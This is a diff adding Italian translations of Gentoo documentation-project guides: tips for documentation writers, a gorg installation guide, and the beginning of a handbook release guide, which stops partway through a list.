@@ -0,0 +1,391 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide lang="it">
+<title>Trucchi e consigli per lo sviluppo della documentazione</title>
+
+<author title="Autore">
+  <mail link="neysx"/>
+</author>
+<author title="Autore">
+  <mail link="swift"/>
+</author>
+<author title="Redazione">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traduttore">
+  <mail link="matteo.visconti@solka.it">Matteo Visconti</mail>
+</author>
+<author title="Traduttore">
+  <mail link="gianni.costanzi@gmail">Gianni Costanzi</mail>
+</author>
+
+<abstract>
+Alcuni trucchi e consigli che possono rendere più semplice la vita di un
+redattore di documentazione per Gentoo.
+</abstract>
+
+<license/>
+
+<version>4</version>
+<date>2010-04-28</date>
+
+<chapter>
+<title>Recuperare i file per le pagine web</title>
+<section>
+<title>Utilizzare il CVS anonimo</title>
+<body>
+
+<p>
+I contributori dovrebbero utilizzare il nostro <uri
+link="http://anoncvs.gentoo.org/">server CVS anonimo</uri>. Questo server
+contiene gli stessi file del CVS ufficiale che utilizzano gli sviluppatori. Il
+repository CVS anonimo è aggiornato ogni ora.
+</p>
+
+<p>
+Si crei una directory dedicata al solo sviluppo della documentazione, e poi si
+recuperino i file per le pagine web.
+</p>
+
+<pre caption="Recuperare i file per le pagine web">
+$ <i>cvs -d :pserver:anonymous@anoncvs.gentoo.org/var/cvsroot co gentoo/xml</i>
+</pre>
+
+<p>
+Per aggiornare la propria copia locale del repository, si esegua <c>cvs update
+-dP</c> all'interno della directory <path>gentoo/xml</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Repository live per gli sviluppatori Gentoo</title>
+<body>
+
+<p>
+Se non è stato ancora fatto il checkout del modulo <c>gentoo</c>, lo si faccia
+ora:
+</p>
+
+<pre caption="Recuperare il modulo gentoo">
+$ <i>export CVSROOT=</i><comment>&lt;your nick&gt;</comment><i>@cvs.gentoo.org:/var/cvsroot</i>
+$ <i>cvs co gentoo/xml</i>
+</pre>
+
+<p>
+Per aggiornare la propria copia del repository, si esegua <c>cvs update -dP</c>
+all'interno della directory <path>gentoo/xml</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Deposito CVS online</title>
+<body>
+
+<p>
+Si può interrogare il <uri link="http://sources.gentoo.org">deposito CVS
+online</uri> per ottenere le differenze tra singole versioni.  Si può
+accedere al deposito inglese principale da <uri
+link="http://sources.gentoo.org/gentoo/xml/htdocs/doc/en/">questo link</uri>
+(ndT: quello italiano è reperibile a <uri
+link="http://sources.gentoo.org/gentoo/xml/htdocs/doc/it/">questo link</uri>).
+Il deposito CVS online è aggiornato ogni ora.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Preparare il proprio ambiente locale</title>
+<section>
+<title>Installare gorg</title>
+<body>
+
+<p>
+La nostra documentazione GuideXML è trasformata in HTML dal pacchetto <uri
+link="gorg.xml">www-servers/gorg</uri>. È quindi necessario provvedere alla sua
+installazione.
+</p>
+
+<note>
+E' necessario utilizzare almeno <c>gorg-0.6.3</c>. Potrebbe essere necessario
+aggiungerlo in <path>/etc/portage/package.keywords</path> per la vostra
+architettura.
+</note>
+
+<p>
+Seguire le <uri link="gorg.xml">indicazioni</uri> per la sua configurazione. È
+necessario specificare la root per le pagine web dove è stato fatto il checkout
+dal nostro repository CVS (<path>[..]/gentoo/xml/htdocs</path>). Gli altri
+parametri sono utili solo se si vuole offrire una copia locale di <uri
+link="http://www.gentoo.org">www.gentoo.org</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configurare il proprio ambiente XML</title>
+<body>
+
+<p>
+Il proprio sistema deve sapere dove trovare i DTD utilizzati dalla nostra
+documentazione. Si editi <path>/etc/xml/catalog</path> come root e si aggiunga
+la linea seguente:
+</p>
+
+<pre caption="Aggiunta di /etc/xml/catalog">
+&lt;rewriteURI uriStartString="/dtd" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+
+<note>
+E' possibile anche eseguire il rewrite verso il percorso dove è stato fatto il
+checkout dei DTD dal CVS.
+</note>
+
+<p>
+Se il proprio <path>/etc/xml/catalog</path> è vuoto o non contiene nessun
+elemento, è necessario <e>inserire</e> l'elemento <c>&lt;rewriteURI&gt;</c>
+<e>all'interno</e> dell'elemento <c>&lt;catalog&gt;</c>:
+</p>
+
+<pre caption="/etc/xml/catalog minimale">
+&lt;?xml version="1.0"?&gt;
+&lt;!DOCTYPE catalog PUBLIC "-//OASIS//DTD Entity Resolution XML Catalog V1.0//EN" "http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd"&gt;
+&lt;catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog"&gt;
+&lt;rewriteURI uriStartString="/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+&lt;/catalog&gt;
+</pre>
+
+<p>
+Inoltre, alcuni file potrebbero specificare il DTD on-line con un'uri come
+<path>http://www.gentoo.org/dtd/guide.dtd</path>. E' possibile rinominare
+questi riferimenti ed evitare così accessi lenti alla rete durante la fase di
+validazione:
+</p>
+
+<pre caption="Extra /etc/xml/catalog addendum">
+&lt;rewriteURI uriStartString="http://www.gentoo.org/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Controllare una guida di Gentoo</title>
+<body>
+
+<p>
+Per controllare una guida di Gentoo, per prima cosa si utilizzi <c>xmllint</c>
+(presente in <c>dev-libs/libxml2</c>) per controllare se utilizza una sintassi
+XML valida:
+</p>
+
+<pre caption="Usare xmllint per validare GuideXML">
+$ <i>xmllint --valid --noout alsa-guide.xml</i>
+</pre>
+
+<p>
+Se <c>xmllint</c> termina senza indicare nulla, allora la struttura del file è
+valida. Successivamente è necessario convertirla in HTML:</p>
+
+<pre caption="Convertire in HTML">
+$ <i>gorg &lt; alsa-guide.xml > alsa-guide.html</i>
+</pre>
+
+<p>
+Se non è indicato nessun errore, si dovrebbe essere in grado di aprire col
+proprio browser <path>alsa-guide.html</path> per osservare il documento
+risultante. Se non compare, si corregga il proprio documento finchè funziona.
+</p>
+
+<note>
+Nei capitoli dell'handbook, i link verso gli altri capitolo non saranno generati
+poiché le versioni on-line accedono ai capitoli dell'handbook tramite il file
+master e i parametri <c>chap</c> e <c>part</c>.
+</note>
+
+</body>
+</section>
+<section>
+<title>Navigare la propria copia locale del sito web di Gentoo</title>
+<body>
+
+<p>
+Poiché è stato fatto il checkout di una copia del sito di Gentoo dal nostro CVS,
+è anche possibile utilizzare gorg per navigare nella vostra copia locale.
+Assicurarsi di aver scaricato l'indice delle news come spiegato nella <uri
+link="gorg.xml">guida</uri> se si vuole vedere esattamente la stessa pagina
+principale.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Domande frequenti</title>
+<section>
+<title>Come posso convertire un file in UTF-8?</title>
+<body>
+<p>
+Ci sono alcuni programmi che posso aiutare. Uno molto conosciuto è
+<c>app-test/recode</c>. Un altro è <c>iconv</c>, contenuto nel pacchetto
+<c>sys-libs/glibc</c>.
+</p>
+
+<p>
+Recode è molto semplice da usare. Si indica la codifica dei caratteri usata dal
+file e quella che invece si vuole utilizzare nel documento convertito.
+</p>
+
+<p>
+Per esempio per convertire un documento dalla codifica ISO-8859-15 (conosciuta
+anche come Latin-9) alla codifica UTF-8, si procede nel modo seguente:
+</p>
+
+<pre caption="Convertire un file">
+<comment>(l9 = ISO-8859-15, u8 = UTF-8)</comment>
+$ <i>recode l9..u8 file.xml</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Suggerimenti sulla Sottomissione di Documentazione</title>
+<section>
+<title>Controllare la correttezza dei tag &lt;guide&gt;</title>
+<body>
+
+<p>
+Ci si assicuri che l'attributo &lt;guide link&gt; punti alla corretta locazione
+per la guida. Questa è generalmente <path>/doc/${LANG}/filename.xml</path>. Se
+si ha un documento tradotto, si specifichi sempre il percorso assoluto del
+documento (ad esempio <path>/doc/${LANG}/</path>). Se si sta scrivendo una
+guida che utilizza i DTD <c>guide</c> o <c>book</c>, è possibile utilizzare sia
+<path>/doc/${LANG}/filename.xml</path> che <path>filename.xml</path>. In
+generale, il GDP raccomanda la prima delle due modalità.
+</p>
+
+</body>
+</section>
+<section>
+<title>Controllare i link</title>
+<body>
+
+<p>
+E' <e>necessario</e> controllare che tutti i link ipertestuali nel proprio
+documento siano corretti. Se si tratta di un documento tradotto, ci si assicuri
+che i link ad altri documenti tradotti puntino a file esistenti.
+</p>
+
+</body>
+</section>
+<section>
+<title>Controllate le tabulazioni</title>
+<body>
+
+<p>
+Le tabulazioni sono assolutamente proibite nei documenti GuideXML tranne quando
+necessarie (ad esempio se il documento istruisce gli utenti a come utilizzare
+le tabulazioni). Per controllare le tabulazioni in un documento, eseguire
+<c>grep "CTRL+V&lt;TAB&gt;" file.xml</c>. Si sistemino tutte le linee stampate
+da <c>grep</c>
+</p>
+
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+
+<p>
+Una volta ultimato il documento, lo si sottometta al Documentation Team
+utilizzando <uri
+	link="http://bugs.gentoo.org/enter_bug.cgi?product=Documentation">Bugzilla</uri>.
+Non è necessario riportare informazioni come la piattaforma, l'output di
+<c>emerge info</c>, arch, passi necessari per riprodurre il problema, ecc. Se
+si possiede un documento tradotto, ci si assicuri di scegliere il campo <uri
+link="http://bugs.gentoo.org/enter_bug.cgi?product=Doc%20Translations">Doc
+Translations</uri> per il vostro bug. Inoltre, si includa un utile sommario per
+la vostra traduzione utilizzando il formato favorito: "[fr] New translation:
+/doc/fr/gnupg-user.xml". Si sostituisca <b>[fr]</b> con il codice a due lettere
+del vostro linguaggio.
+</p>
+
+<p>
+Di default, <mail>docs-team@gentoo.org</mail> è il destinatario (assignee) del
+vostro bug: non c'è alcun bisogno di modificare il campo assignee.
+</p>
+
+<p>
+Si alleghino file e patch al bug utilizzando la modalità "plain text
+(text/plain)", anche se si sta sottomettendo un file <path>.xml</path> Le patch
+dovrebbero avere l'opzione "Patch" marcata. Non si sottomettano tarballs piene
+di documenti; si alleghi ogni documento e patch individualmente.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Errori comuni o pericolosi</title>
+<section>
+<title>Dimenticare che il Manuale Gentoo riguarda tutte le architetture</title>
+<body>
+
+<p>
+I file presenti in <path>[gentoo]/xml/htdocs/doc/it/handbook</path> che non
+terminano con il suffisso "-&lt;arch&gt;.xml" sono letti da <e>tutti</e> gli
+handbook, il che significa che tutto ciò che è menzionato al loro interno deve
+essere vero per ogni architettura.
+</p>
+
+<p>
+Se si ha bisogno di apportare delle modifiche per la propria architettura e si
+teme di dover creare un nuovo file per questo, prima di compiere qualunque
+modifica bisogna chiedere aiuto a <c>gentoo-doc@gentoo.org</c>.  Molte volte
+c'è una soluzione più semplice che evita di creare problemi agli utenti di
+altre architetture.
+</p>
+
+
+</body>
+</section>
+<section>
+<title>Non modificare la versione e la data</title>
+<body>
+
+<p>
+Come esige il regolamento per lo sviluppo della documentazione, si <e>deve</e>
+cambiare la versione e la data quando si compiono delle modifiche. Sebbene la
+versione sia meno importante, la data serve agli utenti per sapere quando è
+avvenuta l'ultima modifica.
+</p>
+
+<p>
+Se si sta apportando un cambiamento di <e>contenuto</e> al documento (come
+istruzioni, esempi di codice, ecc), si deve incrementare la versione. Per
+cambiamenti <e>non di contenuto</e> (ad esempio errori di scrittura o
+correzioni nell GuideXML), il salto di versione non è di solito necessario.
+</p>
+
+<p>
+Quando si aggiorna il manuale, si deve modificare la data e la versione dei
+soli file modificati.  Non modificare il file handbook-<e>ARCH</e>.xml a meno
+che non si abbia modificato effettivamente quel file.
+</p>
+
+<p>
+Un altro errore comune è aggiornare il numero della versione come se fosse un
+numero decimale.  <c>3.9</c> diventa <c>3.10</c>, non <c>4.0</c> o <c>3.91</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/gdp/doc/gorg.xml b/xml/htdocs/proj/it/gdp/doc/gorg.xml
new file mode 100644
index 00000000..72e4ea80
--- /dev/null
+++ b/xml/htdocs/proj/it/gdp/doc/gorg.xml
@@ -0,0 +1,295 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/gdp/doc/gorg.xml,v 1.1 2010/06/16 19:32:42 scen Exp $ -->
+
+<guide lang="it">
+<title>Guida all'installazione di Gorg</title>
+
+<author title="Autore">
+  <mail link="neysx"/>
+</author>
+<author title="Redazione">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traduzione">
+  <mail link="marcopaolone@gmail.com">Marco Paolone</mail>
+</author>
+
+<abstract>
+Questa guida descrive come installare e configurare gorg.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2010-04-28</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<body>
+
+<p>
+Gorg è un processore di backend XSLT per un sito web basato su XML. I file
+sorgenti XML vengono trasformati e serviti al volo. I file di output e le loro
+dipendenze vengono memorizzati nella cache. Le sue caratteristiche principali
+sono:
+</p>
+
+<ul>
+  <li>Funziona con apache, lighttpd o webrick (il server web di ruby) </li>
+  <li>Usa un sistema efficiente di caching</li>
+  <li>
+    Genera intestazioni HTTP coerenti quando più nodi web forniscono lo stesso
+    contenuto
+  </li>
+  <li>
+    Implementa un proprio sistema di compressione (alias mod_gzip), quindi
+    non si appoggia al server web per comprimere il proprio output
+  </li>
+  <li>Supporta il caching su lato client</li>
+  <li>Il proprio XSL può accettare e scrivere cookies</li>
+  <li>
+    Fornisce un proprio motore di ricerca (l'indicizzazione del sito verrà
+    sostanzialmente aggiornata in una versione futura)
+  </li>
+</ul>
+
+<p>
+Gorg consente di distribuire la propria copia locale di
+<uri>http://www.gentoo.org</uri>. Può usare sia script cgi che fastcgi con
+apache o lighttpd, oppure il proprio server web integrato. Il suo nome è
+l'abbreviazione per <b>G</b>entoo.<b>org</b> perché è stato creato pensando
+al sito di Gentoo quando c'è stato bisogno di trovare un sostituto per AxKit.
+</p>
+
+<p>
+Gorg è stato testato su x86, amd64, alpha, sparc, ppc, mips &amp; hppa con i
+seguenti pacchetti:
+</p>
+
+<pre caption="Ambiente di test">
+>=net-www/apache-2.0.55
+>=www-apache/mod_fcgid-1.0.8
+
+>=dev-lang/ruby-1.8.4
+>=dev-libs/fcgi-2.4.0
+>=dev-ruby/ruby-fcgi-0.8.6
+>=dev-libs/libxml2-2.6.23
+>=dev-libs/libxslt-1.1.15
+<comment>(Nel caso improbabile che si voglia sperimentare il motore di ricerca di gorg)</comment>
+>=dev-db/mysql-4.0.26 <comment>(fino a e incluse le versioni 5.*)</comment>
+>=dev-ruby/ruby-dbi-0.0.21
+>=dev-ruby/mysql-ruby
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installazione di Gorg</title>
+<section>
+<body>
+
+<p>
+Definire le proprie USE flag per installare apache con o senza il supporto a
+mod_fcgi, in base all'uso che se ne vuole fare. La USE flag <c>mysql</c> è
+richiesta solo per il motore di ricerca integrato.
+</p>
+
+<impo>
+Potrebbe essere necessario aggiungere una keyword per alcune dipendenze sulla
+propria architettura. È possibile aggiungere una keyword per i pacchetti
+richiesti oppure accettare una architettura diversa. gorg è stato installato e
+testato su x86, amd64, alpha, sparc, ppc, mips &amp; hppa.
+</impo>
+
+<pre caption="Emergere gorg">
+<comment>(<b>Con</b> il supporto ad apache)</comment>
+# <i>echo www-servers/gorg fastcgi apache -mysql >> /etc/portage/package.use</i>
+
+<comment>(<b>Senza</b> il supporto ad apache)</comment>
+# <i>echo www-servers/gorg -fastcgi -apache -mysql >> /etc/portage/package.use</i>
+
+<comment>(Verificare che le dipendenze siano disponibili per la propria architettura)</comment>
+# <i>emerge -pv gorg</i>
+
+<comment>(Installare gorg)</comment>
+# <i>emerge gorg</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configurazione di Gorg</title>
+<section>
+<title>Configurazione di apache</title>
+<body>
+
+<note>
+Si può saltare questa sezione se non verrà utilizzato apache.
+</note>
+
+<p>
+In caso si voglia utilizzare fastcgi, che è comunque consigliato, bisogna
+aggiungere <c>-D FCGID</c> alla variabile <c>APACHE2_OPTS</c> nel file
+<path>/etc/conf.d/apache2</path>.
+</p>
+
+<p>
+Successivamente, integrare le direttive di configurazione per apache dal file di
+esempio <path>/etc/gorg/vhost.sample</path> nella propria configurazione per i
+vhost, ad esempio: <path>/etc/apache2/vhosts.d/10_gorg.conf</path>. I commenti
+nel file di configurazione di esempio sono di aiuto.
+</p>
+
+<p>
+Infine, copiare o creare un link simbolico agli script (c)cgi da
+<path>/usr/lib/ruby/site_ruby/&lt;ruby-version&gt;/gorg/fcgi-bin/gorg.fcgi</path>
+e
+<path>/usr/lib/ruby/site_ruby/&lt;ruby-version&gt;/gorg/cgi-bin/{gorg,search}.cgi</path>
+nelle cartelle (f)cgi del proprio sito web e verificare che siano eseguibili. È
+consigliabile copiare <path>search.cgi</path> solo nel caso in cui si desidera
+utilizzare il motore di ricerca integrato.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configurazione di gorg</title>
+<body>
+
+<p>
+Creare una copia del file di configurazione di esempio
+<path>/etc/gorg/gorg.conf.sample</path> chiamata <path>/etc/gorg/gorg.conf</path>
+e <b>modificarlo</b>. I commenti sono di aiuto per definire i propri parametri.
+È necessario come minimo definire la cartella radice per i documenti web.
+</p>
+
+<p>
+Se non si vuole utilizzare il file di configurazione predefinito
+<path>/etc/gorg/gorg.conf</path>, è necessario definire la variabile d'ambiente
+chiamata <c>GORG_CONF</c> che punta al file di configurazione.
+</p>
+
+<impo>
+Se si desidera utilizzare la cache, ed il suo uso è raccomandato, è bene
+accertarsi che la cartella di cache definita nel file di configurazione abbia i
+permessi corretti. Se si sta usando apache, l'utente apacha ha bisogno
+dell'accesso totale a quella cartella.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Aggiungere i file mancanti</title>
+<body>
+
+<p>
+Supponendo di voler servire una copia locale di CVS, o una sua copia, o dei link
+simbolici ad essa, è necessario scaricare alcuni file dalla cartella
+<path>dyn</path>.
+</p>
+
+<pre caption="Aggiungere i file mancanti">
+<comment>(Entrare nella cartella htdocs)</comment>
+$ <i>cd /percorso/cartella/radice/documenti</i>
+/htdocs $ <i>cd dyn</i>
+/htdocs $ <i>wget -O news-index.xml http://www.gentoo.org/dyn/news-index.xml?passthru=1</i>
+/htdocs $ <i>cd ..</i>
+<comment>(Eseguire lo stesso comando per qualunque altro dato che può risultare necessario
+dalla cartella /dyn directory)</comment>
+</pre>
+
+<p>
+C'è anche la necessità di rendere le immagini disponibili al browser. La
+cartella <path>images</path> si trova un livello sopra <path>htdocs</path>.
+Basta definire un link simbolico e si è pronti a partire.
+</p>
+
+<pre caption="Creare un link simbolico alle immagini">
+/htdocs $ <i>ln -si ../images images</i>
+
+<comment>(Dovrebbe apparire in questo modo:)</comment>
+/htdocs $ <i>ls -l</i>
+drwxr-xr-x   3 neysx users  128 Sep 14 17:45 css
+drwxr-xr-x  31 neysx users  744 Oct 26 00:03 doc
+drwxr-xr-x   3 neysx users  544 Nov  2 16:53 dtd
+drwxr-xr-x   3 neysx users  168 Nov  3 16:24 dyn
+-rw-r--r--   1 neysx users 1406 Jun  7  2003 favicon.ico
+lrwxrwxrwx   1 neysx users   10 Oct 21 22:29 images -> ../images/
+-rw-r--r--   1 neysx users  190 Nov  9  2002 index.xml
+drwxr-xr-x  16 neysx users  384 Apr  1  2004 main
+drwxr-xr-x  17 neysx users 6960 Nov  3 15:34 news
+drwxr-xr-x   8 neysx users  192 Oct 23 14:52 proj
+drwxr-xr-x   4 neysx users   96 Sep 17 14:05 security
+drwxr-xr-x   3 neysx users  736 Nov  2 16:40 xsl
+</pre>
+
+<p>
+Nel CVS locale probabilmente appariranno delle voci in più, ma quelle
+citate in precedenza dovrebbero essere disponibili e mantenute aggiornate.
+Ricordarsi anche di mantenere la cartella <path>images</path> così com'è.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Avviare Gorg</title>
+<section>
+<title>Il server web integrato</title>
+<body>
+
+<p>
+Il modo più semplice per provarlo è eseguire <c>gorg</c>. Dovrebbe apparire
+qualcosa come:
+</p>
+
+<pre caption="Avviare gorg">
+$ <i>gorg</i>
+
+Avvio del server web Gorg sulla porta 8008
+
+Digitare Ctrl-C oppure "kill 31479" per fermarlo
+</pre>
+
+<p>
+Puntare il browser su <uri>http://localhost:8008</uri> e dovrebbe
+essere possibile visualizzare il proprio sito preferito.
+</p>
+
+</body>
+</section>
+<section>
+<title>Con apache</title>
+<body>
+
+<p>
+Riavviare apache (<c>/etc/init.d/apache2 restart</c>) e visitare
+<uri>http://localhost</uri> supponendo di averlo installato sulla propria
+workstation.
+</p>
+
+<p>
+Se si stanno utilizzando server fastcgi, dovrebbe essere possibile visualizzarli
+con <c>top -u apache</c>.
+</p>
+
+<p>
+Se non dovesse funzionare, provare il server web integrato (digitare
+<c>gorg</c>). Se neanche questo metodo dovesse funzionare, verificare il file di
+configurazione <path>/etc/gorg/gorg.conf</path>. Se invece dovesse funzionare,
+verificare i file di configurazione di apache ed i log.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/gdp/doc/handbook-release.xml b/xml/htdocs/proj/it/gdp/doc/handbook-release.xml
new file mode 100644
index 00000000..462b3383
--- /dev/null
+++ b/xml/htdocs/proj/it/gdp/doc/handbook-release.xml
@@ -0,0 +1,590 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/gdp/doc/handbook-release.xml,v 1.4 2008/05/01 13:23:15 scen Exp $ -->
+
+<guide link="/proj/it/gdp/doc/handbook-release.xml" lang="it">
+<title>Guida ai Rilasci del Manuale Gentoo</title>
+
+<author title="Autore">
+  <mail link="nightmorph"/>
+</author>
+
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+Questa guida documenta in modo dettagliato il processo di aggiornamento dei
+manuali Gentoo e della relativa documentazione per ogni nuovo rilascio di Gentoo
+Linux.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2008-04-22</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<title>Obiettivo</title>
+<body>
+
+<p>
+Questo documento è pensato per aiutare il coordinatore del rilascio del Manuale
+(e/o altri membri del GDP e collaboratori) ad affrontare l'arduo compito di
+aggiornare ed allineare tutti i Manuali e la relativa documentazione per il
+rilascio più recente di Gentoo Linux.
+</p>
+
+<p>
+È progettato per ridurre il carico di stress e fatica dovuto ad un processo non
+pianificato e senza regole prefissate, ed introdurre invece un po' di ordine
+logico. Troppo spesso il peso di aggiornare tutta la documentazione tende a
+ricadere su una singola persona (e l'autore può confermarlo in più di
+un'occasione). Che questo accada o no per un particolare rilascio, questa guida
+fornisce comunque un piano intelligente e sensato per rendere i documenti
+pronti per la partenza.
+</p>
+
+<p>
+Questo documento fornire delle linee guida su <e>cosa</e> fare e <e>quando</e>
+farlo, sebbene siano solo delle linee guida; ci sono poche regole rigide,
+salvo gli aspetti di codifica GuideXML e le regole di commit, come spiegato in
+documenti tipo la <uri link="/doc/it/xml-guide.xml">Guida a GuideXML</uri> e i
+<uri link="/proj/it/gdp/doc/doc-tipsntricks.xml">Trucchi e consigli per lo
+sviluppo della documentazione</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Cosa monitorare</title>
+<section>
+<title>Date di rilascio</title>
+<body>
+
+<p>
+Per riuscire a pianificare i propri compiti e fare una stima delle date di
+completamento per l'elenco delle cose da fare (TODO), bisogna avere un'idea di
+quando avverrà il prossimo rilascio. Gentoo opera con una tabella di marcia
+solitamente chiamata <e>rilascio cumulativo</e>. I pacchetti vengono
+costantemente aggiornati; un nuovo rilascio di Gentoo non è nient'altro che un
+aggiornamento ai supporti d'installazione, stage, snapshot di Portage, e così
+via. Tuttavia, ciò implica sempre un pesante cambiamento nel Manuale
+d'Installazione e ad altra documentazione collegata, in quanto devono essere in
+linea con i nuovi supporti d'installazione.
+</p>
+
+<p>
+I nuovi rilasci avvengono ogni 6 mesi circa, sebbene questa non sia una regola
+fissa, pertanto assicurarsi di controllare costantemente <uri
+link="/proj/en/releng/index.xml">il piano di lavoro (roadmap) per i
+rilasci</uri>. Inoltre assicurarsi di verificare con i membri del team
+Ingegneria dei Rilasci ("Release Engineering, abbreviato in "releng", ndT)
+quando i tempi di rilascio si avvicinano, nel caso in cui la "roadmap" non sia
+stata aggiornata.
+</p>
+
+</body>
+</section>
+<section>
+<title>Manuali</title>
+<body>
+
+<p>
+Sicuramente gli elementi più importanti da aggiornare sono i manuali.
+</p>
+
+<ol>
+  <li>
+    <uri link="/doc/it/handbook/handbook-x86.xml?part=1">Manuale
+    d'Installazione</uri>: il manuale più sostanzioso. Questo ha la priorità
+    maggiore, poiché questo è il documento utilizzato dagli utenti quando
+    vogliono installare Gentoo. Il manuale per ciascuna architettura richiede
+    tempo, energia e cure amorevoli. Il manuale viene proposto in due modalità,
+    <e>con collegamento alla rete Internet</e> ("networked", ndT) e <e>senza
+    collegamento alla rete Internet</e> ("networkless", ndT). Entrambi hanno la
+    medesima priorità, sebbene giusto prima del rilascio bisognerebbe
+    focalizzarsi maggiormente sul completamento del manuale "networkless", in
+    quanto releng avrà bisogno degli archivi tarball di tale documento per
+    metterli nei liveCD prima dell'effettiva data di rilascio.
+  </li>
+  <li>
+    <uri link="/doc/it/handbook/handbook-x86.xml?part=2">Manuale di
+    Portage</uri>: Non viene modificato spesso come il Manuale d'Installazione,
+    ma ha bisogno comunque di essere aggiornato a seguito di nuovi file di
+    configurazione e variazioni nei nomi, per esempio i cambiamenti in
+    <path>/etc/make.conf</path> e <path>/etc/conf.d/</path>. L'<uri
+    link="/doc/it/handbook/handbook-x86.xml?part=3">altro Manuale di
+    Portage</uri> è più approfondito. Fare delle verifiche insieme ai
+    mantenitori di baselayout e Portage per assicurare che le informazioni sia
+    aggiornate.
+  </li>
+  <li>
+    Il <uri link="/doc/it/handbook/handbook-x86.xml?part=4">Manuale per la
+    configurazione di Rete</uri>: Verrà aggiornato ogniqualvolta verranno
+    aggiornate le sezioni principali della configurazione di rete nel Manuale
+    d'installazione, in quanto alcune informazioni sono similari. Nuovamente,
+    fare una verifica insieme ai mantenitori di baselayout e Portage per
+    assicurare che le informazioni siano aggiornate.
+  </li>
+</ol>
+
+<note>
+Non tutti i file dei Manuali di Portage/Configurazione di Rete cambieranno,
+pertanto è meglio copiare solamente quelli di cui <e>si sa con certezza</e> che
+verranno modificati quando si inizierà ad aggiornarli. Verificare attentamente
+quali file avranno effettivamente bisogno di essere modificati. Di nuovo,
+comunicazione e coordinazione!
+</note>
+
+<p>
+Variabili ed inclusioni condizionali sono una salvezza, è sempre meglio usarli!
+Oggetti specifici per le architetture, che cambiano costantemente, come le
+dimensioni delle immagini ISO, CFLAGS raccomandate, versioni dei kernel, ecc.
+sono raccolte nei file handbook-$arch, nella parte iniziale. Releng saranno a
+conoscenza dei parametri di boot dei CD, dimensioni dei supporti e degli
+scaricamenti ("download", ndT), i requisiti minimi di sistema, nonché dei i
+supporti disponibili e i relativi nomi dei file. I team delle architetture
+saranno a conoscenza delle CFLAGS e i nomi dei kernel e relative configurazioni,
+oltre agli schemi di partizionamento suggeriti e strumenti specifici da
+installare/usare.
+</p>
+
+<p>
+Quando possibile, provare a farsi aiutare dai membri dei team delle architetture
+a tenere traccia di tutte le informazioni che cambiano da rilascio a rilascio.
+Vedere se hanno delle persone dedicate per contribuire alla verifica dei
+cambiamenti della documentazione; è sempre meglio se hanno qualcuno che può
+proporre patch GuideXML, perciò non esitare a chiedere! Per cui assicurarsi di
+mettere in CC i team delle architetture nel bug di tracciamento per il rilascio
+del manuale in modo da tenerli aggiornati.
+</p>
+
+<p>
+Talvolta i rilasci introdurranno abbastanza cambiamenti da necessitare la
+stesura di un nuovo capitolo o perfino di un intero manuale, oppure anche una
+rimozione completa. Rimanendo <e>funzionali</e> il più possibile, cercare di non
+duplicare informazioni tra i file del manuale per architetture separate. Invece,
+vedere se si riesce a combinarle in un singolo file attraverso un uso
+intelligente delle inclusioni condizionali. Quando avvengono questi tipi di
+addizioni/sottrazioni, bisogna effettuare le variazioni appropriate ai file
+handbook-$arch.
+</p>
+
+</body>
+</section>
+<section>
+<title>Altri documenti</title>
+<body>
+
+<p>
+Insieme ai manuali, bisognerà anche aggiornare simultaneamente i seguenti
+documenti per tenerli allineati con i manuali. I documenti vanno e vengono ma
+questi sono i file maggiormente critici di cui tener traccia.
+</p>
+
+<ul>
+  <li>
+    <b>Guide Rapide all'Installazione</b>, che includono quelle per x86, Sparc,
+    FreeBSD e ogni altra architettura per la quale c'è una guida rapida
+    all'installazione in <path>/doc/en</path>. Esse includono qualsiasi
+    tipologia di guide ai <uri link="/doc/it/altinstall.xml">Metodi Alternativi
+    per l'Installazione</uri>, guide a <uri link="/doc/it/lvm2.xml">LVM2</uri>,
+    <uri link="/doc/it/gentoo-x86-tipsntricks.xml">Trucchi e consigli per
+    l'installazione</uri>, e così via.
+  </li>
+  <li>
